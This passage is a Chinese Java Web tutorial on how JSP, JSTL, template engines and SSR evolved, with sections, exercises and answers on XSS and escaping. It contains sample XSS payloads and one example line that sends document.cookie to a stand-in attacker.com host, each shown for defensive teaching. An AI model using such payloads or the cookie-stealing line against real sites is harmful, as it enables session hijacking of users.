Skip to content

JSP 与 JSTL(技术演进理解) ​

S3-021选修入门约 45 分钟JDK 21企业开发基础 · Java Web 基础

1. 本节定位 ​

本节是一节"演进理解"课 —— 你大概率不会在新项目里写 JSP,但你要能:

场景为什么需要懂
接手一个老项目里面全是 JSP,看不懂就没法改 ✓
面试被问"JSP 和前后端分离的区别"这是一个高频问题
理解为什么"服务端渲染"又回来了Thymeleaf、Next.js、Nuxt —— 都在解决同一类问题 ✓

一句话概括本节的结论:

JSP 被淘汰的不是"服务端渲染"这个思路,而是"把 Java 代码写进 HTML"这种做法。

服务端渲染本身还在——只是换成更干净的形式(模板引擎 / SSR 框架)回来了。 ✓

2. 学习目标 ​

完成本节后,你应该能够:

  • 说出服务端渲染的四代做法及各自的取舍;
  • 说出 JSP 的本质(它会被编译成什么);
  • 说出 JSP 的四个作用域及各自的生命周期;
  • 说出 JSTL 解决了什么问题;
  • 说出 XSS 的原理,以及"转义"为什么是防线;
  • 说出前后端分离取代 JSP 的三个原因;
  • 说出 SSR(服务端渲染)为什么又回来了,它和 JSP 时代的区别在哪;
  • 能在遗留项目里读懂一段 JSP 代码。

3. 前置知识检查 ​

4. 为什么需要这个知识 ​

先看一个具体的场景(面试与工作中都会遇到):

text
面试官:"JSP 和前后端分离有什么区别?"
候选人:"JSP 是老技术,前后端分离是新做法。"         ← 等于没说
面试官:"那为什么不用 JSP 了?"
候选人:"……因为前端要用 Vue/React。"                ← 还是没说清

真正的答案在"谁负责渲染 HTML"这件事上:

时代谁渲染 HTML前端的工作是什么
Servlet 时代Java 代码拼字符串没有专职前端 ✗
JSP 时代JSP 页面(Java 内嵌 HTML)改 .jsp 里的标签
前后端分离浏览器(JS 框架渲染)独立的前端工程 ✓
SSR / 同构服务端首次渲染 + 浏览器接管两端都要写 ✓

看懂这张表,就理解了这 20 年的 Web 演进 ✓

5. 核心概念 ​

5.1 服务端渲染的四代做法 ​

第一代:Java 里拼字符串(Servlet) ​

java
StringBuilder html = new StringBuilder();
html.append("<table>");
for (Order order : orders) {
    html.append("<tr><td>").append(order.getOrderNo()).append("</td></tr>");
}
html.append("</table>");
response.getWriter().write(html.toString());

实测输出(本项目跑出来的):

text
<!DOCTYPE html><html><body><h1>我的订单</h1><table border="1"><tr><td>ORD-1</td><td>39800</td></tr>...</table><p>共 2 条</p></body></html>

问题一目了然:

问题说明
HTML 与 Java 混在一起改一个样式要动 Java 代码 ✗
没人愿意改页面前端同事完全插不上手 ✗
无法可视化没有 .html 文件能直接用浏览器打开看效果 ✗

第二代:JSP —— 把 HTML 反过来嵌 Java ​

text
<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<body>
<h1>我的订单</h1>
<table>
  <c:forEach items="${orders}" var="order">
    <tr><td>${order.orderNo}</td></tr>
  </c:forEach>
</table>
</body>
</html>

它解决了第一代的问题:页面写在 .jsp 文件里,改样式不用动 Java ✓

第三代:模板引擎(Thymeleaf / FreeMarker) ​

html
<html xmlns:th="http://www.thymeleaf.org">
<body>
<h1>我的订单</h1>
<table>
  <tr th:each="order : ${orders}">
    <td th:text="${order.orderNo}"></td>
  </tr>
</table>
</body>
</html>

和 JSP 的差别:

维度JSPThymeleaf
能否直接当 HTML 打开❌ 不能(有 Java 语法)✅ 能(是合法的 HTML,只是属性不认识)✓
默认转义⚠️ 要显式用 <c:out>✅ th:text 默认转义 ✓
语法Java 代码可以随便写受限的表达语言(刻意的约束)✓

第四代:前后端分离 + SSR

text
前后端分离:  后端只返回 JSON,浏览器用 React/Vue 渲染
SSR:        服务端先用 React 渲染出 HTML(首屏快 + SEO),浏览器再"接管"(Hydration)

四代做法的取舍:

代谁渲染首屏SEO前端独立性复杂度
拼字符串Java快好❌ 无低
JSP服务端快好⚠️ 弱中
模板引擎服务端快好⚠️ 中中
前后端分离浏览器⚠️ 慢(要先下 JS)❌ 差✅ 强中高
SSR服务端 + 浏览器快好✅ 强高

⚠️ 注意最后两行:"分离"带来的首屏与 SEO 问题,最终要靠 SSR 补回来 ✓ ——这是理解"为什么 Next.js 火"的关键 ✓

5.2 JSP 的本质:编译成 Servlet ​

这是本节最需要记住的一点:

JSP 不是"解释执行"的——它第一次被访问时,会被容器编译成一个 Servlet 类(.java → .class),之后就和普通 Servlet 一样运行。 ✓

所以下面的 JSP:

text
<html>
<body>
<% for (Order o : orders) { %>
  <tr><td><%= o.getOrderNo() %></td></tr>
<% } %>
</body>
</html>

会被编译成大致这样的 Servlet(这是理解 JSP 的全部关键):

java
out.write("<html>\n<body>\n");
for (Order o : orders) {
    out.write("<tr><td>");
    out.print(o.getOrderNo());         // ← <%= %> 就变成了 out.print
    out.write("</td></tr>\n");
}
out.write("</body>\n</html>");

看懂了这层,就明白了几件事:

现象原因
第一次访问 JSP 特别慢要现场编译(之后的访问就快了)✗
JSP 里能写任意 Java 代码因为它本来就是 Java 代码(在 _jspService 方法里)✓
改了 JSP 不用重启容器会检测变更并重新编译 ✓(开发时很方便)
<%= %> 不转义它等价于 out.print(...)——原样输出 ✗(5.5 的 XSS 就来自这里)
JSP 报错信息里有 _jspService 行号那是编译后 Servlet 的行号 ⚠️(和你写的 .jsp 行号对不上,很迷惑)

JSP 的九大内置对象(知道有这回事即可,不用背):

对象类型对应
requestHttpServletRequest就是 Servlet 的那个 request ✓
responseHttpServletResponse同上
outJspWriter编译后 out.write(...) 用的就是它
sessionHttpSession会话
applicationServletContext整个应用
pageContextPageContext页面上下文(能访问其他作用域)
config / page / exception少见—

看这张表的感受应该是:"这不就是 Servlet 那一套吗" ✓ ——因为 JSP 就是 Servlet 的一层语法糖 ✓

5.3 JSP 的四个作用域 ​

"作用域"= 一个属性存进去之后,能活多久、谁能看到:

作用域存活范围谁能访问典型用途
page当前页面(编译后就是方法里的局部变量)只有本页临时变量
request一次请求(含 forward 转发)本请求链路上的所有资源把数据从 Servlet 传给 JSP ★(最常用)
session一次会话(《Filter、Listener 与会话管理》)同一用户的多个请求登录状态、购物车
application整个应用(ServletContext)所有用户全局配置、计数器

最常用的模式(MVC 在 JSP 时代的形态):

java
// Servlet(控制器):查数据,放进 request 作用域,转发给 JSP
List<Order> orders = orderService.list();
request.setAttribute("orders", orders);                 // ★ request 作用域
request.getRequestDispatcher("/WEB-INF/orders.jsp").forward(request, response);
text
<%-- JSP(视图):只负责显示 --%>
<c:forEach items="${orders}" var="order">              <%-- ${} 会依次从 page→request→session→application 找 --%>
  <tr><td>${order.orderNo}</td></tr>
</c:forEach>

⚠️ 一个容易困惑的点:${orders} 是从哪个作用域取的?

它会按 page → request → session → application 的顺序依次查找,找到第一个就用 ✓

所以"同名变量"会互相覆盖 ⚠️(调试时如果发现"显示的怎么是旧数据",先检查是不是 session 里有个同名的残留)✗

这就是 Spring MVC 里 Model / ModelAndView 的前身 ✓ ——换个框架,思路没变 ✓

5.4 JSTL:把 Java 从页面里赶出去 ​

JSP 允许在页面里写任意 Java(<% ... %>),结果就是页面里出现了业务逻辑:

text
<%-- ✗ 经典反面教材:在 JSP 里查数据库、做业务判断 --%>
<%
    Connection conn = DriverManager.getConnection("jdbc:mysql://...");
    PreparedStatement ps = conn.prepareStatement("SELECT * FROM orders WHERE user_id = ?");
    ps.setLong(1, (Long) session.getAttribute("userId"));
    ResultSet rs = ps.executeQuery();
    while (rs.next()) {
        if (rs.getInt("amount") > 10000) {
            out.print("<b>" + rs.getString("order_no") + "</b>");
        }
    }
%>

这段代码的五个问题:

#问题
1数据库连接写在页面里(连接泄漏、密码可能硬编码)✗
2业务逻辑与展示混在一起,无法测试 ✗
3SQL 注入风险(这里用了 PreparedStatement 还算好,但很多人会拼串)✗
4页面无法交给前端改 ✗
5出现异常时页面直接白屏 ✗

JSTL 的出现就是为了限制这种写法:

JSTL 标签作用对应 Java
<c:out>输出并转义 ★out.print + 转义
<c:if> / <c:choose>条件if / switch
<c:forEach>循环for
<c:set> / <c:remove>操作作用域属性setAttribute
<fmt:formatDate> / <fmt:formatNumber>格式化SimpleDateFormat

它的设计哲学:

用"受限的标签"替代"任意 Java 代码" ——你想做的事情变少了,但你做不出太离谱的事 ✓

这与 《参数校验与全局异常处理》 的"参数校验注解"、《Filter、Listener 与会话管理》 的"白名单放行"是同一种思路:用受约束的方式表达意图,比"自由发挥"更安全 ✓

⚠️ 但 JSTL 有个致命弱点:它只能做"展示逻辑"——排序、分页、格式化这些还是要在 Java 里做完 ✓ 所以**"业务逻辑归 Java、展示逻辑归标签"这条界线始终是模糊的** ⚠️

这条界限的模糊,正是 JSP 后来被淘汰的原因之一 ✓(见 5.6)

5.5 XSS 与转义 ​

这是本节最有实用价值的一部分——因为它不只是 JSP 的问题,而是所有"把数据放进 HTML"的场景都要面对的 ✓

攻击原理:用户输入被原样放进 HTML → 浏览器把它当代码执行 ✗

实测对比(本项目跑出来的):

用户输入:

text
<script>alert('你的会话被偷了')</script>

不转义(危险):

html
<tr><td>ORD-3</td><td>100</td><td><script>alert('你的会话被偷了')</script></td></tr>

浏览器会执行这段脚本 ✗ ——真实的攻击会写"把 document.cookie 发到攻击者的服务器" ✗✗

转义后(安全):

html
<tr><td>ORD-3</td><td>100</td><td>&lt;script&gt;alert(&#39;你的会话被偷了&#39;)&lt;/script&gt;</td></tr>

浏览器把它当普通文本显示 ✓ ——用户看到的是 &lt;script&gt;... 这几个字符 ✓

转义的规则(本项目 TemplateLesson 的实现,值得记住这五个字符):

字符转成为什么
&&amp;必须第一个替换 ⚠️(否则会把后面转义出来的 & 二次转义)
<&lt;阻止标签开始 ★
>&gt;配合 <
"&quot;防止跳出属性值(<input value="..."> 里的场景)★
'&#39;同上(单引号包裹的属性)

⚠️ & 必须最先替换,这是实现时最容易错的细节 ✓

五道防线,你在不同层都会遇到:

层机制默认行为
JSP 的 <%= %>原样输出❌ 不转义 ✗
JSTL 的 <c:out>输出时转义✅ 默认转义 ✓
Thymeleaf 的 th:text输出时转义✅ 默认转义 ✓
React 的 {}输出时转义✅ 默认转义 ✓(dangerouslySetInnerHTML 是关掉它的开关 ✗)
API 返回 JSON不涉及 HTML⚠️ 责任转移到前端——前端渲染时必须转义 ✓

最后一行是本节的现实意义:

前后端分离之后,XSS 的防线从"服务端模板"挪到了"前端框架" ✓

所以:前端用了 v-html / innerHTML / dangerouslySetInnerHTML,就等于"关掉了这道防线" ✗

Code Review 时看到这几个 API,要立刻问一句"这里的数据是用户可控的吗?" ✓

5.6 为什么前后端分离取代了 JSP ​

先说结论:不是因为"JSP 不好",而是因为"软件开发的协作方式变了" ✓

原因说明
1. 前端工程化崛起 ★React/Vue 带来了组件化、状态管理、构建工具——这些在 JSP 里做不了 ✗
2. 多端需求 ★★同样的数据要供 Web、App、小程序 用——JSP 渲染的 HTML 只对浏览器有用 ✗
3. 开发协作解耦前端不用等后端"页面写好",约定接口后并行开发 ✓
4. 部署解耦前端静态资源可以放 CDN;后端专心提供 API ✓
5. 前后端职责清晰"渲染"归前端,"数据"归后端 ✓

第 2 条最关键,也最容易被忽略:

一个有 App 的公司,后端不可能为每个端都写一套 JSP ✗

一旦有了"多个客户端",后端就必须退化成"只提供数据" ✓

所以前后端分离的驱动力,一半是前端技术进步,一半是业务形态变化 ✓

代价(要诚实地说):

代价说明
首屏变慢要先下载 JS、执行、再请求数据、再渲染 ✗
SEO 变差爬虫拿到的 HTML 是空壳 ✗
复杂度上升两套工程、两套构建、跨域问题、状态管理 ✓
错误处理分散服务端渲染时异常直接显示错误页;分离后要前端自己处理 ✗

5.7 SSR 为什么又回来了 ​

因为 5.6 的代价是需要付的 ✓

SSR(Server-Side Rendering)的做法:

text
① 用户请求页面
② 服务端用 React/Vue 组件渲染出**完整的 HTML**(含数据)
③ 浏览器立刻显示首屏(用户不用等 JS)✓
④ 同时下载 JS,执行后"接管"页面(Hydration)——之后的路由跳转由前端接管

它同时拿到了两边的好处:

纯 JSP/模板纯前后端分离SSR
首屏快 ✓慢 ✗快 ✓
SEO好 ✓差 ✗好 ✓
前端组件化❌✅✅
多端复用❌✅✅
复杂度低中高 ✗

⚠️ 但这不是"回到 JSP 时代" ✗ ——关键差别:

JSPSSR(Next.js)
渲染的代码在哪服务端(Java)服务端 + 浏览器跑同一份 JS ✓
谁写的后端工程师前端工程师 ✓
是否可交互❌ 静态 HTML(要刷新页面)✅ Hydration 后变成 SPA ✓
组件复用❌✅ 同一个组件两端都能跑 ✓

一句话:

SSR = "用前端的方式做服务端渲染" ✓

它带回了 JSP 时代的好处(首屏、SEO),但保留前端工程化的一切 ✓

这也是"技术演进不是直线"的一个好例子:

text
服务端渲染 → 觉得前端不独立 → 前后端分离 → 觉得首屏慢、SEO 差 → SSR(服务端渲染,但用前端技术)
   ↑                                                                        ↓
   └──────────────── 螺旋上升,不是回到原点 ──────────────────────────────────┘

⚠️ 什么时候不该用 SSR:

场景选择
内部管理系统(不需要 SEO、用户在内网、首屏慢一点无所谓)纯前后端分离 ✓(简单得多)
内容型网站(博客、电商列表页)SSR / SSG ✓
重交互的应用(后台仪表盘、在线编辑器)分离式 SPA ✓

别为了"技术先进"而上 SSR ✗ ——它会让部署、调试、缓存都复杂一大截 ✓

5.8 遗留系统里怎么读 JSP ​

如果你接手了一个 JSP 项目,这里是一份"阅读地图":

你看到它是什么对应的现代概念
<%= expr %>表达式:输出值(不转义)✗${expr} 或 th:text
<% code %>脚本片段:任意 Java 代码(现代做法里不该有)
<%-- 注释 --%>JSP 注释(不会出现在 HTML 里)—
<%@ page ... %>页面指令(编码、import)配置
<%@ taglib ... %>引入标签库(JSTL)import
<jsp:include> / <%@ include %>页面包含(动态 / 静态)组件 / 片段
/WEB-INF/*.jsp放在 WEB-INF 下意味着"只能被 forward 访问,不能被直接请求" ★私有模板
*.tld 文件自定义标签的定义自定义组件

两个实用的点:

点说明
/WEB-INF 下的 JSP 更安全 ★用户不能直接访问 /WEB-INF/orders.jsp——必须经过 Servlet(控制器) ✓ 这就是 MVC 的"视图不可直达"
找入口先找 web.xml它定义了 Servlet 映射与 Filter 链(《Filter、Listener 与会话管理》 的 url-pattern)✓

6. 递进示例 ​

6.1 最小示例:模板替换 ​

java
String template = "<h1>${title}</h1><p>共 ${count} 条</p>";
Map<String, String> model = Map.of("title", "我的订单", "count", "2");
String html = template;
for (var entry : model.entrySet()) {
    html = html.replace("${" + entry.getKey() + "}", entry.getValue());
}

这就是所有模板引擎的最小内核 ✓ ——JSP、Thymeleaf、FreeMarker 都是它的复杂版本 ✓

6.2 业务示例:XSS 对比 ​

见第 7 节。

6.3 反例:在 JSP 里写数据库操作 ​

见 5.4 节。

一句话总结这类代码:

"页面是最不应该放业务逻辑的地方" ✓ ——

因为页面最难测试(要起容器、要模拟浏览器)、最难复用(换个端就得重写)、最难定位问题(报错行号还对不上) ✗

7. 完整可运行代码 ​

文件:labs/web-basics/src/main/java/cn/kb/learn/web/template/TemplateLesson.java

运行命令:

powershell
cd labs
./mvnw -pl web-basics compile dependency:build-classpath "-Dmdep.outputFile=target/cp.txt"
java "-Dstdout.encoding=UTF-8" -cp "web-basics/target/classes;$(Get-Content web-basics/target/cp.txt)" cn.kb.learn.web.template.TemplateLesson

预期输出(真实运行结果,节选):

text
===== 1. 最早的做法:在 Java 里拼字符串(Servlet 时代)=====
<!DOCTYPE html><html><body><h1>我的订单</h1><table border="1"><tr><td>ORD-1</td><td>39800</td></tr>...</table><p>共 2 条</p></body></html>
  问题:HTML 与 Java 混在一起,改一个样式要动 Java 代码,前端同事完全插不上手。

===== 2. 模板 + 数据:把两者分开(JSP / Thymeleaf 的思路)=====
<!DOCTYPE html>
<html>
<head><title>我的订单</title></head>
<body>
  <h1>我的订单</h1>
  <table border="1">
    <tr><th>订单号</th><th>金额(分)</th><th>用户名</th></tr>
    <tr><td>ORD-1</td><td>39800</td><td>张三</td></tr>
    <tr><td>ORD-2</td><td>19900</td><td>李四</td></tr>
  </table>
  <p>共 2 条</p>
</body>
</html>
  好处:模板文件可以交给前端改,Java 只负责提供数据。

===== 3. 转义:同一份数据,两种输出的差别(XSS)=====
用户名原本是:<script>alert('你的会话被偷了')</script>

--- 不转义(危险)---
    <tr><td>ORD-3</td><td>100</td><td><script>alert('你的会话被偷了')</script></td></tr>
  >>> 尖括号原样进了 HTML —— 浏览器会把它当代码执行。

--- 转义后(安全)---
    <tr><td>ORD-3</td><td>100</td><td>&lt;script&gt;alert(&#39;你的会话被偷了&#39;)&lt;/script&gt;</td></tr>
  >>> 尖括号被转成 &lt; &gt; —— 浏览器把它当普通文本显示。

三处对比的结论:

对比说明
第 1 节 vs 第 2 节拼接的 HTML 挤成一行(难维护);模板输出结构清晰 ✓
第 3 节的两段输出同一份数据,不转义就是漏洞,转义后就是普通文本 ★
整节的代码量"模板引擎"的核心只有十几行——JSP 的复杂性在别处(编译成 Servlet、标签库、作用域) ✓

8. Debug 观察点 ​

  1. 在 escape 方法处断点:观察"未转义"与"转义"两条路径的差异(这是唯一的分界点);
  2. 把 escape 里的 & 替换去掉,输入 &lt;script&gt;——观察二次转义的错误结果(&amp;lt; 显示成了 &lt; 字面量)⚠️;
  3. 给模板加一个 \${unknown} 占位符(模型里没有这个 key)——观察它没有被替换,原样留在输出里(这就是"模板渲染失败是静默的")✗;
  4. 对比 renderByConcat 与 renderByTemplate 的输出:注意前者没有换行(StringBuilder 没加 \n)——理解"模板的一个额外好处是可读性" ✓;
  5. 找一个真实的 JSP 项目(或搜一段 JSP 代码),用 5.8 节的"阅读地图"逐行标注它是什么。

9. 常见错误 ​

错误 1:输出用户数据不转义 ​

见 5.5 节。这是 XSS 的直接原因 ✗

自查方法:搜前端代码里的 v-html / innerHTML / dangerouslySetInnerHTML ✓ 每一个都要问"数据可控吗"。

错误 2:转义时漏了 & ​

见 5.5 节。& 必须最先替换 ✓

错误 3:以为"前后端分离了就没有 XSS 了" ​

错。防线只是换了个位置 ✗

时代XSS 防线在哪
JSP服务端模板的 <c:out>
前后端分离前端框架的默认转义(React {} / Vue v-text)✓
但用了 v-html / innerHTML防线被关掉了 ✗✗

另一类更隐蔽的:JS 里的"非 HTML 上下文" ⚠️

javascript
// 把用户数据拼进 JS 代码里(不是 HTML 文本里)
<script>var name = '<%= userName %>';</script>              // ✗ JSP 里的经典漏洞
// 用户输入 ' ; alert(1); // → 直接执行

正确做法:用 JSON 序列化,不要手工拼引号 ✓

javascript
<script>var name = <json:encode value="${userName}"/>;</script>      // ✓

这条规则在现代前端依然适用:eval / new Function / 内联事件属性(onclick="...")都是同类风险 ✓

错误 4:在 JSP 里写业务逻辑 ​

见 5.4 与 6.3 节。

错误 5:以为"用 SSR 就万事大吉" ​

SSR 只解决"首屏与 SEO",不解决"复杂度与成本" ✗

另一个常见误解:"SSR 就不需要 API 了" ✗ ——SSR 框架通常还是通过 API 拿数据(只是在服务端请求)✓

错误 6:在内部系统里上 SSR ​

见 5.7 节。收益很小、成本很高 ✗

10. 动手实验 ​

目标:理解"模板 + 数据 + 转义"这三件事,并把它与现代前端对照起来。

步骤:

  1. 运行第 7 节的命令,核对三处对比输出;
  2. 改变转义顺序:把 escape 里的 & 替换移到最后——用一个含 &lt; 的输入观察结果(理解顺序为什么重要)✗;
  3. 加一个"模板渲染失败"的场景:模板里写 ${unknown},模型里不给这个 key——观察它被原样输出(这解释了"为什么页面上突然出现 ${xxx}"这类 bug)✓;
  4. 做一个最小的"模板引擎":支持 ${} 与 <c:if test="${flag}">...</c:if> 两种语法(用正则 + 字符串替换)——体会"模板引擎到底做了什么";
  5. 找一个真实的 XSS 案例:搜"XSS 漏洞案例",看它是怎么触发的,对照 5.5 的防线表,分析"哪一道防线失守了";
  6. 访问一个用 SSR 的网站(如 Next.js 官方示例),用浏览器"查看网页源代码":
    • 能看到完整的内容(不像纯 SPA 那样只有一个 <div id="app"></div>)→ 这是 SSR 的直接证据 ✓
    • 再禁掉 JavaScript 刷新——内容仍然可见(但不可交互)✓

验收方式:能说出第 2 步顺序的重要性、第 6 步"看源代码能看到内容"说明了什么。

扩展任务:把本节的 TemplateLesson 扩展成一个"支持循环的迷你模板引擎":

  • 支持 ${key} 占位符;
  • 支持 <for items="${orders}">...${item.orderNo}...</for> 循环;
  • 支持 if="${flag}" 条件;
  • 说明:你的实现与 Thymeleaf 相比,缺了什么?(提示:表达式语言、转义策略、模板继承、国际化、缓存……)

11. 练习题 ​

基础题

  1. 判断:JSP 页面是"解释执行"的。(对 / 错)
  2. 填空:JSP 的四个作用域从短到长是 、、、;其中把数据从 Servlet 传给视图最常用的是 ______。
  3. 简答:<%= value %> 与 <c:out value="${value}"/> 的关键差别是什么?

代码阅读题

text
<%@ page contentType="text/html;charset=UTF-8" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<body>
<h1>搜索结果</h1>
<p>关键词:<%= request.getParameter("keyword") %></p>
<table>
  <c:forEach items="${results}" var="item">
    <tr><td><c:out value="${item.title}"/></td></tr>
  </c:forEach>
</table>
</body>
</html>
  1. 这段 JSP 有没有安全问题?指出具体的那一行。
  2. 如果攻击者访问 ?keyword=<script>alert(1)</script>,会发生什么?如何修复?

编程题

  1. 写一个"迷你模板引擎",满足:
    • 支持 ${key} 替换;
    • 支持 HTML 转义开关(默认转义,可以显式关掉,并在关掉时打印警告);
    • 缺失的 key 要报警告(而不是静默留空——这是 JSP/Thymeleaf 的一个常见坑)✓;
    • 支持 [[! ... ]] 形式的注释(渲染时去掉);
    • 用它渲染一份"订单列表 HTML";
    • 回答:为什么"缺失的 key 静默留空"是个危险的设计?(提示:${user.phone} 打不出来时,页面看起来"正常",但数据是错的)

综合任务

  1. 为一家公司做"渲染方案选型",并写出决策文档:
    • 场景:公司有三个系统——
      • A. 面向公众的电商商品页(需要 SEO、首屏快)
      • B. 内部运营后台(用户在内网、重交互、不需要 SEO)
      • C. 老系统(2015 年的 JSP 项目,还在维护)
    • 要求:
      • 为 A、B 分别选择渲染方案(纯分离 / SSR / SSG / 模板引擎),并说明理由;
      • 对 C(JSP 老系统):给出"继续维护"与"逐步迁移"两种策略的对比,说明迁移时的优先级(先迁哪些页面);
      • 说明"如果公司新增了 App 端",你的方案要怎么调整;
      • 画一张"请求到渲染的时间线"对比图(纯分离 vs SSR),标出"用户看到内容"的时刻;
    • 额外要求:说明"SSR 引入的新问题"(提示:服务端压力、缓存策略、状态同步、Hydration 不一致)⚠️。
分级提示

提示 1(方向):第 1 题的方向是"它会被编译"。

提示 2(关键点):第 4 题逐行看:哪一行把用户输入直接输出了?

提示 3(接近答案):第 7 题的"SSR 新问题"里,Hydration 不一致指的是"服务端渲染出的 HTML 与浏览器首次渲染的结果不同"——常见于用了 Date.now()、Math.random() 或浏览器 API 的时候。

12. 参考答案 ​

基础题
  1. 错。JSP 第一次被访问时会被编译成一个 Servlet 类 ✓ 之后就和普通 Servlet 一样执行。

这解释了几件事:

现象原因
首次访问慢现场编译 ✗
报错行号对不上报的是编译后 Servlet 的行号 ⚠️
能写任意 Java因为它就是 Java ✓
改了不用重启容器会重新编译 ✓

记忆点:

"JSP 是 Servlet 的语法糖" ——记住这句,JSP 的一切行为都能推导出来 ✓

  1. page < request < session < application;request。

为什么"Servlet → 视图"用 request:

作用域为什么不合适
page只在当前页面有效——Servlet 里设的值在 JSP 里读不到 ✗
requestforward 转发时仍然有效 ✓ 且请求结束就销毁(不会污染下一次)✓
session能读到,但会一直留着 ⚠️(下次请求还能看到,容易出"显示旧数据"的 bug)
application全局共享 ✗(多用户互相覆盖)✗✗

所以 request 是"一次请求内的数据传递"的正确选择 ✓ ——这与 《Spring MVC 请求映射与参数绑定》 讲的 @RequestAttribute、Spring 的 Model 是同一个位置 ✓

  1. 关键差别是"要不要转义":<%= %> 不转义(有 XSS 风险),<c:out> 默认转义 ✓
<%= value %><c:out value="${value}"/>
转义❌ 不转义 ✗✅ 默认转义 ✓
null 值输出 "null" 字符串 ⚠️输出空字符串 ✓
类型任意(会调 toString())任意

第二个差别也值得一提:<%= someNull %> 会在页面上显示 "null" 这四个字母 ✗ ——这是 JSP 时代常见的低级 bug ✓

这道题的现实意义:

"默认安全"与"默认不安全"的差别,就是"一次疏忽"与"一次事故"的差别。 ✓

JSP 的 <%= %> 是"默认不安全"(要用对必须记得换成 <c:out>)✗ Thymeleaf / React 是"默认安全"(要出错必须显式用到 th:utext 或 dangerouslySetInnerHTML)✓

这就是"API 设计的安全性"——让安全的写法成为最省力的写法 ✓

代码阅读题(第 4、5 题)

第 4 题:有安全问题,在第 7 行。

text
<p>关键词:<%= request.getParameter("keyword") %></p>

问题:直接把 URL 参数输出到 HTML,且用了不转义的 <%= %> ✗

注意对比:同一段代码里,第 12 行是正确的:

text
<tr><td><c:out value="${item.title}"/></td></tr>          <!-- ✓ 转义了 -->

所以这段代码的"不一致"本身就是很好的教材:同一个页面里,一处转了一处没转 ✓

这正是 JSP 时代 XSS 漏洞高发的原因:防线要"每次都记得",而不是"默认就有" ✗

第 5 题:会弹出一个 alert。

攻击链:

text
① 攻击者构造 URL:/search?keyword=<script>alert(1)</script>
② 服务器不做处理,把参数原样写入 HTML:
   <p>关键词:<script>alert(1)</script></p>
③ 浏览器解析这段 HTML,把 <script> 当代码执行 → 弹出 alert

真实的攻击(比 alert 严重得多):

html
<script>
  fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

后果:如果 Cookie 没有 HttpOnly(《Filter、Listener 与会话管理》 的 5.6 节),会话就被偷走了 ✗✗

三种修复:

修复代码
① 用 <c:out>(最直接) ★<c:out value="${param.keyword}"/>
② 用 fn:escapeXml${fn:escapeXml(param.keyword)}
③ 在 Java 侧转义StringEscapeUtils.escapeHtml4(keyword)(⚠️ 别忘了"存的时候不转,显示的时候转"——转义过再存会导致重复显示实体)

⚠️ 一个重要的原则:

"转义应该发生在"输出到 HTML 的那一刻",而不是"存进数据库的时候" ✓

因为同一份数据可能输出到不同地方:

  • 输出到 HTML → 要 HTML 转义
  • 输出到 JSON → 不需要(JSON 有自己的转义)
  • 输出到 CSV → 要 CSV 转义
  • 输出到 JS 字符串里 → 要 JS 转义

"存的时候转义"会导致:数据被污染(数据库里存的是 &lt;),之后无论输出到哪都带着它 ✗✗

这叫"转义得不是地方"(Incorrect Escaping Location),是 XSS 漏洞的第二大来源 ✓

还有第四种修复(更根本的):

java
// 前端不用 innerHTML,用 textContent
document.getElementById('keyword').textContent = keyword;      // ✅ 天然安全

这呼应了 5.5 节的结论:防线在"输出时转义"——不管这层是服务端模板还是前端框架 ✓

编程题(第 6 题)
java
package cn.kb.learn.web.template;

import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * 迷你模板引擎:把"模板 + 数据 → 输出"这件事做透明。
 *
 * <p>设计上有三个刻意的选择:
 * ① 默认转义(安全优先);
 * ② 缺 key 时报警告(而不是静默留空);
 * ③ 支持注释。</p>
 */
public final class MiniTemplate {

    private static final Pattern PLACEHOLDER = Pattern.compile("\\$\\{([a-zA-Z0-9_.]+)}");
    private static final Pattern COMMENT = Pattern.compile("\\[\\[!.*?]]", Pattern.DOTALL);

    private final boolean escapeByDefault;

    public MiniTemplate(boolean escapeByDefault) {
        this.escapeByDefault = escapeByDefault;
    }

    public String render(String template, Map<String, Object> model) {
        String result = COMMENT.matcher(template).replaceAll("");        // 先去注释

        Matcher matcher = PLACEHOLDER.matcher(result);
        StringBuilder output = new StringBuilder();
        while (matcher.find()) {
            String key = matcher.group(1);
            Object value = resolve(model, key);
            String replacement = describe(key, value);
            matcher.appendReplacement(output, Matcher.quoteReplacement(replacement));
        }
        matcher.appendTail(output);
        return output.toString();
    }

    /** 支持 a.b 形式的键(简单取空值即可),并处理 null */
    private Object resolve(Map<String, Object> model, String key) {
        if (model.containsKey(key)) {
            return model.get(key);
        }
        // 支持 path.to.value 的形式:逐级往下找
        Object current = model;
        for (String part : key.split("\\.")) {
            if (!(current instanceof Map<?, ?> map)) {
                return null;
            }
            current = map.get(part);
        }
        return current;
    }

    private String describe(String key, Object value) {
        if (value == null) {
            // ★ 关键设计:缺 key 不是"静默留空",而是给出可见的标记 + 警告
            System.err.println("[模板警告] 模板里用到了 ${" + key + "},但模型里没有这个键");
            return "<!-- missing: " + key + " -->";
        }
        String text = String.valueOf(value);
        if (escapeByDefault) {
            return escapeHtml(text);
        }
        System.out.println("[模板警告] 未转义输出(请确认数据不可控):" + text);
        return text;
    }

    private static String escapeHtml(String value) {
        // & 必须最先替换,否则会把后面转义出的 & 再转一次
        return value.replace("&", "&amp;")
                .replace("<", "&lt;")
                .replace(">", "&gt;")
                .replace("\"", "&quot;")
                .replace("'", "&#39;");
    }

    public static void main(String[] args) {
        String template = """
                [[! 订单列表 ]]
                <h1>${title}</h1>
                <p>共 ${count} 条</p>
                <p>用户名:${user.name}</p>
                <p>手机号:${user.phone}</p>
                """;

        Map<String, Object> model = Map.of(
                "title", "我的订单",
                "count", 2,
                "user", Map.of("name", "<script>alert(1)</script>")      // 恶意输入
                // 故意不给 user.phone,观察"缺 key"的行为
        );

        System.out.println("===== 默认转义 =====");
        System.out.println(new MiniTemplate(true).render(template, model));
        System.out.println("===== 关闭转义(危险)=====");
        System.out.println(new MiniTemplate(false).render(template, model));
    }
}

预期输出:

text
[模板警告] 模板里用到了 ${user.phone},但模型里没有这个键
===== 默认转义 =====

<h1>我的订单</h1>
<p>共 2 条</p>
<p>用户名:&lt;script&gt;alert(1)&lt;/script&gt;</p>
<p>手机号:<!-- missing: user.phone --></p>

[模板警告] 未转义输出(请确认数据不可控):<script>alert(1)</script>
[模板警告] 模板里用到了 ${user.phone},但模型里没有这个键
===== 关闭转义(危险)=====

<h1>我的订单</h1>
<p>共 2 条</p>
<p>用户名:<script>alert(1)</script></p>
<p>手机号:<!-- missing: user.phone --></p>

"缺失的 key 静默留空为什么危险":

